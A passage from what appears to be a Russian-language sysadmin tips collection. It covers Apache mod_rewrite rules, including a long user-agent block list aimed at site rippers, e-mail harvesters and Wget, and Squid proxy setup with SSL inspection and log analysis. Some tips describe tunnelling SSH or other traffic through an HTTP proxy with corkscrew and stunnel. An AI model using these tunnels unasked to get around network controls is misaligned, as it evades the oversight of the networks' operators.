    RewriteCond %{HTTP_USER_AGENT} ^DISCo [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Download\ Demon [OR]
    RewriteCond %{HTTP_USER_AGENT} ^eCatch [OR]
    RewriteCond %{HTTP_USER_AGENT} ^EirGrabber [OR]
    RewriteCond %{HTTP_USER_AGENT} ^EmailSiphon [OR]
    RewriteCond %{HTTP_USER_AGENT} ^EmailWolf [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Express\ WebPictures [OR]
    RewriteCond %{HTTP_USER_AGENT} ^ExtractorPro [OR]
    RewriteCond %{HTTP_USER_AGENT} ^EyeNetIE [OR]
    RewriteCond %{HTTP_USER_AGENT} ^FlashGet [OR]
    RewriteCond %{HTTP_USER_AGENT} ^GetRight [OR]
    RewriteCond %{HTTP_USER_AGENT} ^GetWeb! [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Go!Zilla [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Go-Ahead-Got-It [OR]
    RewriteCond %{HTTP_USER_AGENT} ^GrabNet [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Grafula [OR]
    RewriteCond %{HTTP_USER_AGENT} ^HMView [OR]
    RewriteCond %{HTTP_USER_AGENT} HTTrack [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} ^Image\ Stripper [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Image\ Sucker [OR]
    RewriteCond %{HTTP_USER_AGENT} Indy\ Library [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} ^InterGET [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Internet\ Ninja [OR]
    RewriteCond %{HTTP_USER_AGENT} ^JetCar [OR]
    RewriteCond %{HTTP_USER_AGENT} ^JOC\ Web\ Spider [OR]
    RewriteCond %{HTTP_USER_AGENT} ^larbin [OR]
    RewriteCond %{HTTP_USER_AGENT} ^LeechFTP [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Mass\ Downloader [OR]
    RewriteCond %{HTTP_USER_AGENT} ^MIDown\ tool [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Mister\ PiX [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Navroad [OR]
    RewriteCond %{HTTP_USER_AGENT} ^NearSite [OR]
    RewriteCond %{HTTP_USER_AGENT} ^NetAnts [OR]
    RewriteCond %{HTTP_USER_AGENT} ^NetSpider [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Net\ Vampire [OR]
    RewriteCond %{HTTP_USER_AGENT} ^NetZIP [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Octopus [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Offline\ Explorer [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Offline\ Navigator [OR]
    RewriteCond %{HTTP_USER_AGENT} ^PageGrabber [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Papa\ Foto [OR]
    RewriteCond %{HTTP_USER_AGENT} ^pavuk [OR]
    RewriteCond %{HTTP_USER_AGENT} ^pcBrowser [OR]
    RewriteCond %{HTTP_USER_AGENT} ^RealDownload [OR]
    RewriteCond %{HTTP_USER_AGENT} ^ReGet [OR]
    RewriteCond %{HTTP_USER_AGENT} ^SiteSnagger [OR]
    RewriteCond %{HTTP_USER_AGENT} ^SmartDownload [OR]
    RewriteCond %{HTTP_USER_AGENT} ^SuperBot [OR]
    RewriteCond %{HTTP_USER_AGENT} ^SuperHTTP [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Surfbot [OR]
    RewriteCond %{HTTP_USER_AGENT} ^tAkeOut [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Teleport\ Pro [OR]
    RewriteCond %{HTTP_USER_AGENT} ^VoidEYE [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Web\ Image\ Collector [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Web\ Sucker [OR]
    RewriteCond %{HTTP_USER_AGENT} ^WebAuto [OR]
    RewriteCond %{HTTP_USER_AGENT} ^WebCopier [OR]
    RewriteCond %{HTTP_USER_AGENT} ^WebFetch [OR]
    RewriteCond %{HTTP_USER_AGENT} ^WebGo\ IS [OR]
    RewriteCond %{HTTP_USER_AGENT} ^WebLeacher [OR]
    RewriteCond %{HTTP_USER_AGENT} ^WebReaper [OR]
    RewriteCond %{HTTP_USER_AGENT} ^WebSauger [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Website\ eXtractor [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Website\ Quester [OR]
    RewriteCond %{HTTP_USER_AGENT} ^WebStripper [OR]
    RewriteCond %{HTTP_USER_AGENT} ^WebWhacker [OR]
    RewriteCond %{HTTP_USER_AGENT} ^WebZIP [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Wget [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Widow [OR]
    RewriteCond %{HTTP_USER_AGENT} ^WWWOFFLE [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Xaldon\ WebSpider [OR]
    RewriteCond %{HTTP_USER_AGENT} ^Zeus
    RewriteRule ^.* - [F,L]
    
    Дополнительный список:
    
    RewriteCond %{HTTP_USER_AGENT} Accelerator [OR]
    RewriteCond %{HTTP_USER_AGENT} Ants [OR]
    RewriteCond %{HTTP_USER_AGENT} attach [OR]
    RewriteCond %{HTTP_USER_AGENT} BackWeb [OR]
    RewriteCond %{HTTP_USER_AGENT} Teleport.*Pro [OR]
    RewriteCond %{HTTP_USER_AGENT} Bandit [OR]
    RewriteCond %{HTTP_USER_AGENT} Buddy [OR]
    RewriteCond %{HTTP_USER_AGENT} Collector [OR]
    RewriteCond %{HTTP_USER_AGENT} Copier [OR]
    RewriteCond %{HTTP_USER_AGENT} Downloader [OR]
    RewriteCond %{HTTP_USER_AGENT} Drip [OR]
    RewriteCond %{HTTP_USER_AGENT} eCatch [OR]
    RewriteCond %{HTTP_USER_AGENT} EirGrabber [OR]
    RewriteCond %{HTTP_USER_AGENT} ExtractorPro [OR]
    RewriteCond %{HTTP_USER_AGENT} EyeNetIE [OR]
    RewriteCond %{HTTP_USER_AGENT} FileHound [OR]
    RewriteCond %{HTTP_USER_AGENT} FlashGet [OR]
    RewriteCond %{HTTP_USER_AGENT} GetRight [OR]
    RewriteCond %{HTTP_USER_AGENT} Gets [OR]
    RewriteCond %{HTTP_USER_AGENT} Go-Ahead-Got-It [OR]
    RewriteCond %{HTTP_USER_AGENT} gotit [OR]
    RewriteCond %{HTTP_USER_AGENT} Go!Zilla [OR]
    RewriteCond %{HTTP_USER_AGENT} GoZilla [OR]
    RewriteCond %{HTTP_USER_AGENT} Grabber [OR]
    RewriteCond %{HTTP_USER_AGENT} GrabNet [OR]
    RewriteCond %{HTTP_USER_AGENT} Grab.*Site [OR]
    RewriteCond %{HTTP_USER_AGENT} Grafula [OR]
    RewriteCond %{HTTP_USER_AGENT} Gulliver [OR]
    RewriteCond %{HTTP_USER_AGENT} HMView [OR]
    RewriteCond %{HTTP_USER_AGENT} HTTrack [OR]
    RewriteCond %{HTTP_USER_AGENT} IBrowse [OR]
    RewriteCond %{HTTP_USER_AGENT} InterGET [OR]
    RewriteCond %{HTTP_USER_AGENT} Internet.*Ninja [OR]
    RewriteCond %{HTTP_USER_AGENT} Iria [OR]
    RewriteCond %{HTTP_USER_AGENT} jetcar [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} JOC [OR]
    RewriteCond %{HTTP_USER_AGENT} JustView [OR]
    RewriteCond %{HTTP_USER_AGENT} leach [OR]
    RewriteCond %{HTTP_USER_AGENT} leech [OR]
    RewriteCond %{HTTP_USER_AGENT} lftp [OR]
    RewriteCond %{HTTP_USER_AGENT} likse [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} Magnet [OR]
    RewriteCond %{HTTP_USER_AGENT} Mag-Net [OR]
    RewriteCond %{HTTP_USER_AGENT} Memo [OR]
    RewriteCond %{HTTP_USER_AGENT} MIDown.*tool [OR]
    RewriteCond %{HTTP_USER_AGENT} Mirror [OR]
    RewriteCond %{HTTP_USER_AGENT} Mister.*PiX [OR]
    RewriteCond %{HTTP_USER_AGENT} Navroad [OR]
    RewriteCond %{HTTP_USER_AGENT} NearSite [OR]
    RewriteCond %{HTTP_USER_AGENT} Net.*Reaper [OR]
    RewriteCond %{HTTP_USER_AGENT} NetSpider [OR]
    RewriteCond %{HTTP_USER_AGENT} Net.*Vampire [OR]
    RewriteCond %{HTTP_USER_AGENT} NetZip [OR]
    RewriteCond %{HTTP_USER_AGENT} Ninja [OR]
    RewriteCond %{HTTP_USER_AGENT} Octopus [OR]
    RewriteCond %{HTTP_USER_AGENT} Offline.*Explorer [OR]
    RewriteCond %{HTTP_USER_AGENT} Offline [OR]
    RewriteCond %{HTTP_USER_AGENT} PageGrabber [OR]
    RewriteCond %{HTTP_USER_AGENT} Page.*Saver [OR]
    RewriteCond %{HTTP_USER_AGENT} Papa.*Foto [OR]
    RewriteCond %{HTTP_USER_AGENT} pcBrowser [OR]
    RewriteCond %{HTTP_USER_AGENT} Pita [OR]
    RewriteCond %{HTTP_USER_AGENT} Pockey [OR]
    RewriteCond %{HTTP_USER_AGENT} Pump [OR]
    RewriteCond %{HTTP_USER_AGENT} Reaper [OR]
    RewriteCond %{HTTP_USER_AGENT} Recorder [OR]
    RewriteCond %{HTTP_USER_AGENT} ReGet [OR]
    RewriteCond %{HTTP_USER_AGENT} Siphon [OR]
    RewriteCond %{HTTP_USER_AGENT} SmartDownload [OR]
    RewriteCond %{HTTP_USER_AGENT} Snagger [OR]
    RewriteCond %{HTTP_USER_AGENT} Snake [OR]
    RewriteCond %{HTTP_USER_AGENT} Stripper [OR]
    RewriteCond %{HTTP_USER_AGENT} Sucker [OR]
    RewriteCond %{HTTP_USER_AGENT} SuperBot [OR]
    RewriteCond %{HTTP_USER_AGENT} SuperHTTP [OR]
    RewriteCond %{HTTP_USER_AGENT} Surfbot [OR]
    RewriteCond %{HTTP_USER_AGENT} tAkeOut [OR]
    RewriteCond %{HTTP_USER_AGENT} Triton [OR]
    RewriteCond %{HTTP_USER_AGENT} Vacuum [OR]
    RewriteCond %{HTTP_USER_AGENT} Weazel [OR]
    RewriteCond %{HTTP_USER_AGENT} WebAuto [OR]
    RewriteCond %{HTTP_USER_AGENT} WebCapture [OR]
    RewriteCond %{HTTP_USER_AGENT} WebCopier [OR]
    RewriteCond %{HTTP_USER_AGENT} WebFetch [OR]
    RewriteCond %{HTTP_USER_AGENT} Web.*Image.*Collector [OR]
    RewriteCond %{HTTP_USER_AGENT} WebMirror [OR]
    RewriteCond %{HTTP_USER_AGENT} WebReaper [OR]
    RewriteCond %{HTTP_USER_AGENT} WebRecorder [OR]
    RewriteCond %{HTTP_USER_AGENT} WebSauger [OR]
    RewriteCond %{HTTP_USER_AGENT} WebSite.*Extractor [OR]
    RewriteCond %{HTTP_USER_AGENT} Website.*Quester [OR]
    RewriteCond %{HTTP_USER_AGENT} Web.*Spy [OR]
    RewriteCond %{HTTP_USER_AGENT} WebSpy [OR]
    RewriteCond %{HTTP_USER_AGENT} Webster [OR]
    RewriteCond %{HTTP_USER_AGENT} WebStripper [OR]
    RewriteCond %{HTTP_USER_AGENT} Web.*Sucker [OR]
    RewriteCond %{HTTP_USER_AGENT} WebWhacker [OR]
    RewriteCond %{HTTP_USER_AGENT} WebZIP [OR]
    RewriteCond %{HTTP_USER_AGENT} Whacker [OR]
    RewriteCond %{HTTP_USER_AGENT} Widow [OR]
    RewriteCond %{HTTP_USER_AGENT} SpaceBison [OR]
    RewriteCond %{HTTP_USER_AGENT} www\.asona\.org
    RewriteRule .* - [F,L]
    
     
    ----* Как в Apache использовать скрипт для обработки части пути (доп. ссылка 1)   Автор: Rodriges  [обсудить]
     
    Есть скрипт http://domain.ru/art, для того чтобы запрос http://domain.ru/art/something 
    не вызывал ошибки и приводил к запуску этого скрипта в настройках Apache 2 нужно прописать:
      <FilesMatch "^art">
         AcceptPathInfo On
      </Files> 
    
    Для Apache 1.3, можно воспользоваться 
       ErrorDocument 404 /cgi-bin/art.cgi
    
    Или
       <Location /art>
         SetHandler cgi-script
       </Location>
    
    Или
       RewriteEngine on
       RewriteRule ^/art/(.*)$ /home/user/cgi-bin/art.cgi?$1 [T=application/x-httpd-cgi,L]
    
     
    ----* Как более эффективно блокировать несколько IP в apache (доп. ссылка 1)   [комментарии]
     
    При наличии IP в blacklist.txt, посетителю показывается sorry.html:
    
       RewriteEngine on
       Rewritemap ipmap txt:/path/to/blacklist.txt 
    
       RewriteCond ${ipmap:%{REMOTE_ADDR}} =b
       RewriteCond %{request_uri} !=/sorry.html
       RewriteCond %{request_uri} !=/stylesheet.css
       RewriteRule .* /sorry.html                        [R,L]
    
    
    /path/to/blacklist.txt
       11.22.33.44  b
       22.33.44.55  b
       33.44.55.66  b
    
     
    ----* Пример mod_rewrite редиректа при условии наличия файла   [обсудить]
     
    Существует множество файлов вида http://www.host.ru/test/dirN/M.html и
    http://www.host.ru/test/dirN/new/M.html (N=1,2..., M=1,2..)
    Необходимо, если установлена cookie shownew=on и присутствует файл
    /test/dirN/new/M.html прозрачно отображать
    его содержимое,  а не файла /test/dirN/M.html, который показываем если
    /test/dirN/new/M.html отсутствует.
    
       RewriteEngine on
       RewriteCond %{HTTP_COOKIE} ^.*shownew=on.*$
       RewriteCond %{REQUEST_URI} ^/test/([a-z]+[0-9]+)/([0-9]+\.html)$
       RewriteCond /home/host/htdocs/test/%1/new/%2 -f
       RewriteRule ^/test/([a-z]+[0-9]+)/([0-9]+\.html)$ /home/host/htdocs/test/$1/new/$2 [L]
    
     
    ----* Как в mod_rewrite организовать прозрачный переброс на CGI скрипт   [обсудить]
     
    Вместо test.shtml?parm=N выдаем результат работы /cgi-bin/test.cgi?param=1
    
        RewriteCond %{REQUEST_URI} /test.shtml
        RewriteCond %{QUERY_STRING} param=[0-9]+
        RewriteRule ^(.+) $1/%{QUERY_STRING}  [C]
        RewriteRule ^/test.shtml/param=([0-9]+) /home/user/cgi-bin/test.cgi?param=$1 [T=application/x-httpd-cgi,L]
    
     
    ----* Можно ли произвести редирект на другую страницу без использования mod_rewrite   [комментарии]
     
    Можно воспользоваться директивой Redirect из mod_alias:
       Redirect /dir1 http://test.ru/dir2
       Redirect permanent /dir1/ http://test.ru/dir2
       RedirectMatch  ^/$ http://test.ru/new.html
       RedirectMatch  .* http://test.ru/new.html
       RedirectMatch (.*)\.gif$ http://test.ru$1.jpg
      AliasMatch ^/img/(.*) /home/user1/img/$1
    
     
    ----* Как разрешить скачивать картинки с текущего сайта и запретить выкачивание через чужие линки.   Автор: uldus  [комментарии]
     
    RewriteEngine On
    RewriteCond %{REQUEST_URI} /img/ 
    RewriteCond %{HTTP_REFERER} !^.*somedom\.ru.* [NC]
    RewriteCond %{HTTP_REFERER} !^$
    RewriteRule .* /empty.gif [L]
    
     
    ----* Выдача страницы в Apache в зависимости от языка   Автор: Belousov Oleg  [комментарии]
     
    есть диры:
    sub_host1/ru
    sub_host1/en
    sub_host2/ru
    sub_host2/en
    при обращении к www.somehost.ru/sub_host1 (и 2) должнен быть переход в дир со своим языком.
    -- cgi-bin/redir.pl --
    #!/usr/bin/perl
    use CGI qw/:standard/;
    ($lang) = $ENV{HTTP_ACCEPT_LANGUAGE} =~ /(.?.?)/;
    ($redirurl) = param('redirurl');
    $lang='en' if !( -d $ENV{DOCUMENT_ROOT}.$redirurl.$lang);
    print redirect(-url=>$redirurl.$lang.'/');
    -- httpd.conf --
    RewriteEngine On
    RewriteRule ^(/sub_host1/)$  /cgi-bin/redir.pl?redirurl=$1 [R,NE]
    RewriteRule ^(/sub_host2/)$  /cgi-bin/redir.pl?redirurl=$1 [R,NE]
    </VirtualHost>
    
     
    ----* Как организовать прозрачный редирект на другую страницу   [комментарии]
     
    redirect  /catalog   http://new_host/new_catalog
    или с mod_rewrite:
    RewriteCond %{HTTP_HOST}  ^www.host1.ru$ [NC]
    RewriteRule (.*) http://www.host2.ru:8200$1 [R=permanent,L]
    
     

       Прокси сервер Squid
    ACL, ограничения трафика и пользователей

    ----* Как узнать логин в домене Windows имея ip и NTLM авторизацию в Squid?   Автор: Забудкин Лев Мирославович  [комментарии]
     
    Если у Вас есть SQUID и Вы используете NTLM авторизацию и хотите знать какой сейчас 
    (по крайней мере в последний раз авторизовался) у клиента IP адрес или какому клиенту он присвоен, 
    то воспользуйтесь следующей командой:
    
    awk '{user[tolower($8)]=$3} END {for(i in user) {print user[i] " " i}}' access.log | sort
    
    Будет выведено примерно следующее:
      192.168.132.200 e_scher
      192.168.132.202 v_lit
      192.168.132.203 a_volob
      192.168.132.204 a_kuch
      192.168.132.210 e_utsum
      192.168.132.211 v_nik
      192.168.132.212 s_maz
    
    Как видите, это удобно использовать в случае squid и NAT.
    
     
    ----* Прокси сервер Squid c E2guardian и Clamav   Автор: Анкх  [комментарии]
     
    Тема достаточно избитая, но у E2Guardian - форка Dansguardian, появились
    новые возможности, и теперь эту связку можно настроить несколько красивее.
    Сразу скажу что в плане SSL трафика все стало намного лучше.
    
    Теория.
    
    Прокси сервер Squid хорошо работает в режиме SSL bump, раскрывая SSL соединение
    и получая доступ к его содержимому. Далее он может это содержимое отдать на
    проверку ICAP серверу по протоколу icap://. Еще раз поясним, что в этот момент
    контент уже не шифрован, а plain.
    
    Раньше использовали сервер C-icap с бэкендами (как правило с одним только
    Clamav или другим AV) для дальнейшего сканирования. Для сканирования контента
    на фразы по icap:// не было бесплатной реализации, а Dansguardian использовался
    как каскадный Proxy, и не имел доступа к SSL содержимому (или я ошибаюсь,
    поправьте меня).
    Dansguardian заброшен с  2012 года, но нашлись люди, который сделали форк под
    наименованием E2guardian. В него добавили функциональность работы в режиме ICAP сервера.
    
    То есть теперь на текущий момент Squid может отдавать раскрытый SSL трафик
    прямо в E2guardian по протоколу icap://. E2guardian  в свою очередь может
    сканировать трафик по фразам, а также он унаследовал возможность отдавать его
    на проверку в Clamav на вирусы. Получается достаточно красивая связка Squid
    =icap://=> E2guardian => Clamav.
    
    Сборка.
    
    Я собираю все в Slackware64-current (просто у меня дома сейчас так). Сборка не
    интересна, слакваристы сами умеют это делать, и отнимает много времени. Кому
    все таки надо, вот мой build.
    
    Итак мы получили 3 пакета:
       squid-4.6-x86_64-2.txz
       clamav-0.101.2-x86_64-2.txz
       e2guardian-5.3-x86_64-2
    
    Я установил их в chroot /opt/SEC-server и установил туда окружение с нужными зависимостями.
    
    Настройку описывать не буду, потому что это совет, а не инструкция. 
    
    Предлагаю скачать готовый 64-битный chroot, он не замусорит систему.
    Необходимо сгенерить и установить ключ с сертификатом и установить в etc/squid,
    а также поправить etc/resolv.conf и etc/hosts. Сертификат устанавливается также
    на каждую рабочую станцию в корневые центры сертификации.
    
    Тесты.
    
    Тесты на вирусы: https://www.eicar.org/?page_id=3950. Проверяем и SSL и
    Plain ссылки.
    Тест на большой файл с вирусом: bigfile
    Тест на фразы Google: анонимные прокси
    
     
    ----* Скрипт генерации статистики для Free-SA   Автор: Linjan  [комментарии]
     
    Анализатор логов Squid Free-SA (http://free-sa.sourceforge.net/) значительно
    удобнее и быстрее SARG. Во FreeBSD его можно установить из портов
    (/usr/ports/www/free-sa/). Настраивается программа достаточно тривиально,
    достаточно использовать поставляемый в комплекте (после установки порта
    находится в /usr/local/etc/free-sa/) пример free-sa.conf.sample, поменяв там
    путь к логам Squid в директиве "log_file".
    
    Через файл usertab (путь задается директивой username_file) можно определить
    псевдонимы для замены IP адресов именами пользователей, например, указав
    "192.168.0.1 Директор". При необходимости меняем путь к директории для
    сохранения сгенерированных отчетов (target_directory) и директории для
    сохранения временного кэша данных из лога Squid (директива cache_directory).
    
    Базовые параметры можно переопределить вручную, запустив из командной строки:
    
       free-sa -d 20.09.2010-21.09.2010 -l путь_к_логу_squid -o директория_для_сохранения_отчетов
    
    Ниже представлен скрипт для генерации статистики по заданным интервалам:
    
       #!/bin/bash
    
       # Modification for free-sa
       # Idea:
       ## SARG - Daily/Weekly/Monthly Squid usage reports creation tool
       ## Written by Ugo Viti <ugo.viti@initzero.it>
       ## Thanks for enanchements to:
       ## - martijn
       ## - Stas Degteff https://sourceforge.net/users/stas_degteff/
       # Modification by Linjan <tank1992@gmail.com>
    
       FREESA="/usr/local/bin/free-sa"
       CONFIG="/usr/local/etc/free-sa/free-sa.conf"
       TMPFILE=`/bin/mktemp`
       ERRORS="${TMPFILE}.errors"
    
       # Date Calc
       MANUALDATE=$2
       case "$(uname)" in
       "FreeBSD")
            TODAY=$(date +%m/%d/%Y)
            YESTERDAY=$(date -v-1d +%m/%d/%Y)
            WEEKAGO=$(date -v-1w +%m/%d/%Y)
            MONTHAGO=$(date -v-1m +%m/01/%Y)-$(date -v-1m +%m/31/%Y)
      ;;
       *)
            TODAY=$(date --date "today" +%m/%d/%Y)
            YESTERDAY=$(date --date "1 day ago" +%m/%d/%Y)
            WEEKAGO=$(date --date "1 week ago" +%m/%d/%Y)
            MONTHAGO=$(date --date "1 month ago" +%m/01/%Y)
      ;;
      esac
    
      manual ()
      {
        if [ -z "$MANUALDATE" ]
        then
          echo "No date given, please specify a valid date (MM/DD/YYYY)"
        else
          $FREESA -f $CONFIG -d $MANUALDATE-$MANUALDATE
        fi
      }
    
      today ()
      {
        $FREESA -f $CONFIG -d $TODAY-$TODAY >$ERRORS 2>&1
      }
     
      daily ()
      {
        $FREESA -f $CONFIG -d $YESTERDAY-$YESTERDAY >$ERRORS 2>&1
      }
    
      weekly ()
      {
        $FREESA -f $CONFIG -d $WEEKAGO-$YESTERDAY >$ERRORS 2>&1
      }
    
      monthly ()
      {
        $FREESA -f $CONFIG -d $MONTHAGO-$YESTERDAY >$ERRORS 2>&1
      }
    
      case $1 in
       manual)
           manual
           ;;
       today)
           today
           ;;
       daily)
           daily
           ;;
       weekly)
           weekly
           ;;
       monthly)
           monthly
           ;;
        *)
           echo "Usage: $0 [OPTIONS]"
           echo
           echo "Allowed options:"
           echo "    manual,  Create Manual report"
           echo "    date format is MM/DD/YY"
           echo "     today,  Create Today report"
           echo "     daily,  Create Daily report"
           echo "    weekly,  Create Weekly report"
           echo "   monthly,  Create Monthly report"
           exit 0
      esac
    
    Помещаем данный скрипт в директорию, откуда будем его запускать, присваиваем
    права запуска и добавляем эти строки в crontab:
    
       00 00 * * * freesa-reports daily
       00 01 * * 1 freesa-reports weekly
       30 02 1 * * freesa-reports monthly
    
     
    ----* Защищаем http-proxy от пробрасывания http-туннеля средствами iptables (доп. ссылка 1)   Автор: Владимир   [комментарии]
     
    При пробрасывании http-туннеля через http-прокси, http-заголовок пакета имеет
    аномально маленький размер, порядка 80-90 байт, так как передается лишь
    минимальный набор данных. Заголовок передаваемых браузером запросов обычно не
    бывает меньше 350 байт. Основываясь на данной особенности можно отфильтровать
    проброшенных поверх http-прокси туннели.
    
       # политика по умолчанию
       iptables -P INPUT DROP
       iptables -P OUTPUT DROP
       iptables -P FORWARD DROP
    
       # создаём новую цепочку LENGTH
       iptables -N LENGTH
    
       # проверяем длину пакета, если меньше 350 байт то блокируем
       iptables -A LENGTH -p tcp --dport 3128 -m length --length :350 -j DROP
    
       # если пакет больше 350 байт то пропускаем
       iptables -A LENGTH -p tcp --dport 3128 -j ACCEPT
    
       # разрешаем подключение на порт 3128
       iptables -A INPUT -p tcp --syn --dport 3128 -j ACCEPT
    
       # в установленом соединении проверяем пакеты на запрос GET --hex- string "|47 45 54 20|" 
       # если есть такой пакет то направляем его в цепочку LENGTH для проверки длины пакета
       iptables -A INPUT -p tcp --dport 3128 -m state --state ESTABLISHED -m string --algo kmp \
          --hex-string "|47 45 54 20|" --from 52 --to 56 -j LENGTH
    
       iptables -A INPUT -p all -m state --state ESTABLISHED,RELATED -j ACCEPT
       iptables -A OUTPUT -p all -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
    
    
    Представленный пример опробован  на httptunnel 
    
     
    ----* Организация подключения по SSH через HTTP прокси   [комментарии]
     
    Устанавливаем ПО corkscrew (http://www.agroman.net/corkscrew/), позволяющее
    создавать туннели поверх HTTP прокси.
    
    Например, для Debian/Ubuntu:
       apt-get install corkscrew
    
    Для FreeBSD:
       cd /usr/ports/net/corkscrew && make && make install
    
    
    Создаем в домашней директории файл настроек .proxy-auth в который прописываем логин и пароль 
    для подключения к прокси, в формате "имя:пароль", например:
    
       moi_login:moi_parol
    
    Настраиваем проброс туннеля в SSH. В ~/.ssh/config добавляем:
    
       Host *
       ProxyCommand corkscrew хост_прокси_сервера порт_прокси_сервера %h %p ~/.proxy-auth
    
    Вместо %h и %p ssh подставит хост и порт удаленной машины
    
    Подключаемся к внешнему хосту стандартно:
    
       ssh testhost.ru
    
     
    ----* Помещение данных о входящем трафике из ipcad в лог squid (доп. ссылка 1)   Автор: Забудкин Лев Мирославович  [комментарии]
     
    Чтобы анализаторы логов прокси сервера squid отображали данные о пересылках в обход прокси, 
    например данные по почтовому или ssh трафику, можно сохранить данные о таких
    пересылках в логе squid.
    
    Настройки ipcad:
    
        capture-ports enable;
        interface ppp* filter "ip and not dst net 192.168.0.0/16";
        aggregate 0.0.0.0/0 strip 32; /* Считаем все адреса */
        /* Теперь укажем какие порты как отображать */
        aggregate 1-19 into 65535;
        aggregate 20-21 into 21;
        aggregate 22-23 into 22;
        aggregate 25 into 25;
        aggregate 24 into 65535;
        aggregate 26-79 into 65535;
        aggregate 80-81 into 0;
        aggregate 82-109 into 65535;
        aggregate 110 into 110;
        aggregate 111-442 into 65535;
        aggregate 443 into 443;
        aggregate 444-3127 into 65535;
        aggregate 3128 into 0;
        aggregate 3129-65535 into 65535;
    
    Сам файл обработки ipcad и записи в сквидовский лог:
    
        #!/bin/sh
        net="192.168"
        ttime=`/usr/bin/rsh localhost sh ip acco|/bin/grep 'Accounting data saved'| /bin/awk '{print ($4)}'`
        /usr/bin/rsh localhost clear ip accounting
        /usr/bin/rsh localhost show ip accounting checkpoint|/bin/grep $net|/bin/awk -v vtime=$ttime '{print (vtime".000",1,$1,"TCP_MISS/200",$4,"CONNECT",$2":"$6,"-","DIRECT/"$2,"-")}' >>/var/log/squid/access.log
    
    Вместо 192.168 Вы можете указать свою сеть, которую брать с ipcad'а и заносить
    в лог прокси сервера Squid.
    
    Таким образом весь трафик, указанный в настройках ipcad'а будет отображен в access.log сквида, 
    который в данном примере находится в папке /var/log/squid.
    
     
    ----* Прозрачное проксирование FreeBSD + IPFW + Squid.   Автор: Астафьев Григорий  [комментарии]
     
    Все тестировалось на FreeBSD 6.2.
    
    Вначале добавляем необходимые опции в ядро:
    
       IPFIREWALL
       IPFIREWALL_FORWARD
    
    Далее добавляем правила на разворот трафика на Squid:
    
       ipfw add 49 fwd 127.0.0.1,3128 tcp from any to any 80
    
    Затем правка собственно squid.conf :
    
       http_port 3128
    
       httpd_accel_host virtual
       httpd_accel_port 80
       httpd_accel_with_proxy on
       httpd_accel_uses_host_header on
    
     
    ----* Как вытащить все MP3 файлы из кеша Squid   Автор: Michael Rulov  [комментарии]
     
       purge -n -a -s -c /etc/squid/squid.conf -C /tmp/MP3s/ -e '\.mp3|\.wav'
    
    Утилиту purge скачать можно здесь: http://www.wa.apana.org.au/~dean/sources/
    
     
    ----* WCCP + Linux + Squid   Автор: Mike Zagrayevsky  [комментарии]
     
    Чтобы заставить эту связку работать необходимо в конфиге squid'a поставить "wccp_version 4",
    а на cisco - "ip wccp version 1" иначе не работает.
    Ядро 2.4.x собирается с включенным GRE, потом собирается и подгружается модуль ip_wccp.o
    Никаких iptunnel руками делать не надо. Все работает и без них.
    
     
    ----* Аутентификация пользователей в squid через учетные записи samba (доп. ссылка 1)   Автор: freeman  [обсудить]
     
    1. собрать сквид (2.5s1 или s2) с поддержкой аутентификации 
         --enable-auth=basic,ntlm --enable-auth-modules=SMB --enable-basic-helpers=SMB --enable-ntlm-modules=SMB
    2. поставить ntlm_auth из /helpers/ntlm_auth/smb/
    3. поставить smb_auth (для клиентов не поддерживающих ntlm аутентификацию) из /helpers/basic_auth/smb/
    4. в сквиде аутентификацию делать через ACL proxu_auth.
    
    basic аутентификацию через smb_auth (см. сайт разработчиков), для ntlm_auth встроенный хелп.
    Для самбы стандартные настройки для контроллера домена. 
    
     
    ----* Принудительное проксирование в FreeBSD (доп. ссылка 1)   Автор: Дмитрий Новиков  [комментарии]
     
    Для принудительного проксирования, на прокси-сервере следует ввести
     правила Firewall:
    01000 fwd 127.0.0.1,3128 tcp from 10.128.0.0/16 to any 80,8080,8101
    В squid.conf нужно добавить:
    httpd_accel_host virtual
    httpd_accel_port 80
    httpd_accel_with_proxy on
    httpd_accel_uses_host_header on
    На маршрутизаторе "развернуть" Веб-трафик на ПРОКСИ-сервер:
    ipfw add 10 fwd ip_прокси tcp from 10.128.0.0/16 to any 80,8080 out
    xmit lnc1
    
     
    ----* Как пробросить туннель через http-прокси (например squid) (доп. ссылка 1)   [комментарии]
     
    Сервер:
      stunnel -p /usr/local/etc/stunnel.pem -r 127.0.0.1:80 -d 443
    Клиент:
      stunnel -c -d 2.2.2.2:2323 -r proxy.host.ru:3128 -Z 3.3.3.3:443
    Организуется туннель: user -> 2.2.2.2:2323 -> proxy.host.ru:3128 -> 3.3.3.3:443 -> 127.0.0.1:80
    127.0.0.1:80 - ip и порт на удаленной машине, куда пробрасывается туннель.
    2.2.2.2:2323 - ip и порт локальной машины, "вход в туннель"
    proxy.host.ru:3128 - proxy сервер с поддержкой CONNECT
    3.3.3.3:443 - удаленная машина, ожидающая сторона туннеля.
    
     
    ----* Как запустить squid без кэширования страниц и балансировкой трафика. (доп. ссылка 1)   [комментарии]
     
    # Запрещаем кэширование
       acl all src 0/0
       no_cache deny all
    # Пересобираем с поддержкой null хранилища.
      ./configure --enable-storeio=ufs,null
    # Включаем поддержку null кэша.
